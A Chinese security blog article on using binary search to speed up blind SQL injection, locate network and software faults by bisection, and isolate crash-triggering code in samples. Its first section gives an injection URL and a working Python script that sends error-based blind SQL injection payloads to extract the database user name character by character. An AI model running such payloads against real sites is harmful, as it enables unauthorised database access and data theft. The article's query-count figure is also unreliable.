分且舍之(二分)算法在网络安全中的应用

二分查找又称折半查找,它是一种效率较高的查找方法。二分查找对应的表,最好是有序表,即表中结点按关键字有序。    

 

二分查找的基本思想是:(设R[low..high]是当前的查找区间)

(1)首先确定该区间的中点位置

(2)然后将待查的K值与R[mid].key比较:若相等,则查找成功并返回此位置,否则须确定新的查找区间,继续二分查找,

具体方法如下:

①若R[mid].key>K,则由表的有序性可知R[mid..n].keys均大于K,因此若表中存在关键字等于K的结点,则该结点必定是在位置mid左边的子表R[1..mid-1]中,故新的查找区间是左子表R[1..mid-1]。

②类似地,若R[mid].key<K,则要查找的K必在mid的右子表R[mid+1..n]中,即新的查找区间是右子表R[mid+1..n]。下一次查找是针对新的查找区间进行的。

因此,从初始的查找区间R[1..n]开始,每经过一次与当前查找区间的中点位置上的结点关键字的比较,就可确定查找是否成功,不成功则当前的查找区间就缩小一半。这一过程重复直至找到关键字为K的结点,或者直至当前的查找区间为空(即查找失败)时为止。

 

 

1.加快盲注:

在进行盲注时,我们通常需要通过测试ASCII码来获取字段,但以32位的Hash为例,在包含大小写字母、特殊字符时,需要32的72次方次查询。。。而基于二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。

比如如下常见注入语句: http://127.0.0.1/index.php?id=1' and ascii(substr((SQL语句),1,1))=ASCII%23

Ptyhon的二分查找源码:

[sourcecode language="plain"]
#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''

def request(URL, data):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
sys.exit(1)
return request.read()

def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'user: ' ,result
break
payload = "1'%%2bextractvalue(1,if(ascii(mid(user(),%s,1)) not between 0 and %s,1,0x22))%%2b'" % (index, mid)
html = request('URL'+payload,None)
verify = 'Error'
if verify not in html:
left = mid
else:
right = mid

if __name__ == '__main__':
for i in range(1,27):
binary_sqli(32, 127, i)
[/sourcecode]

 

 

2.加快网络故障判断

在日常运维、应急响应的过程中,我们有时需要排查网络设施出现的故障。比如,下图来源于《Science & Technology Information》上的论文,是两个车站之间的信息交互系统。当如下的网络结构存在故障时,逐一检测每一个设备,显然太过耗时。我们如何更快的确认故障点呢?

采用二分法,同样是一个高效的解决方案。我们先设置好节点,将网络通道故障发生的区段中间分段开来,通过分析捕获的报文等。如果故障发生在“分界点”的左边,则继续在左侧设置分界点,而右侧同理。

这样的方法同样适用于软件层面,当我们的软件系统出现故障时,我们先禁用所有非系统自带服务和启动项。假设我们一共禁用了8个项目。

(1)启用4个项目,重新启动计算机。如果问题存在,则说明导致故障原因的是由我们刚刚启动的4个项目中的其中一个或几个引起的。如果问题不存在,则说明导致故障原因的是目前未启动的另外4个项目中的一个或几个。

(2)根据上面定位到的4个可能的问题项目,启动其中的2个,再次重新启动系统,如果问题存在,则说明导致故障原因的是此2个项目中的一个,否则是另外2个中的一个。

(3)重复上面的步骤,直至定位到导致故障原因的项目
3.二分法确认漏洞触发点

当我们拿到一个触发程序崩溃的样本时,我们会将他放入010editor等编辑工具中,去不断的提取出代码,反复测验,直到找到EXP。

而通过逆向分析找到引发拒绝服务的恶意代码的过程中,我们同样可以采用二分法,更快的捕获恶意代码串,如下图

当我们将样本代码分割为两份,测试Crash情况时,假设第一部分引发了Crash,我们直接抛弃第二部分,将第一部分再度分割为两份,如此反复,最终,大大提高了确定EXP代码的捕获速度。

*本文为华盟网原创文章,作者:crown prince,如若转载请注明出处:华盟网*

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

相关文章

发表评论

电子邮件地址不会被公开。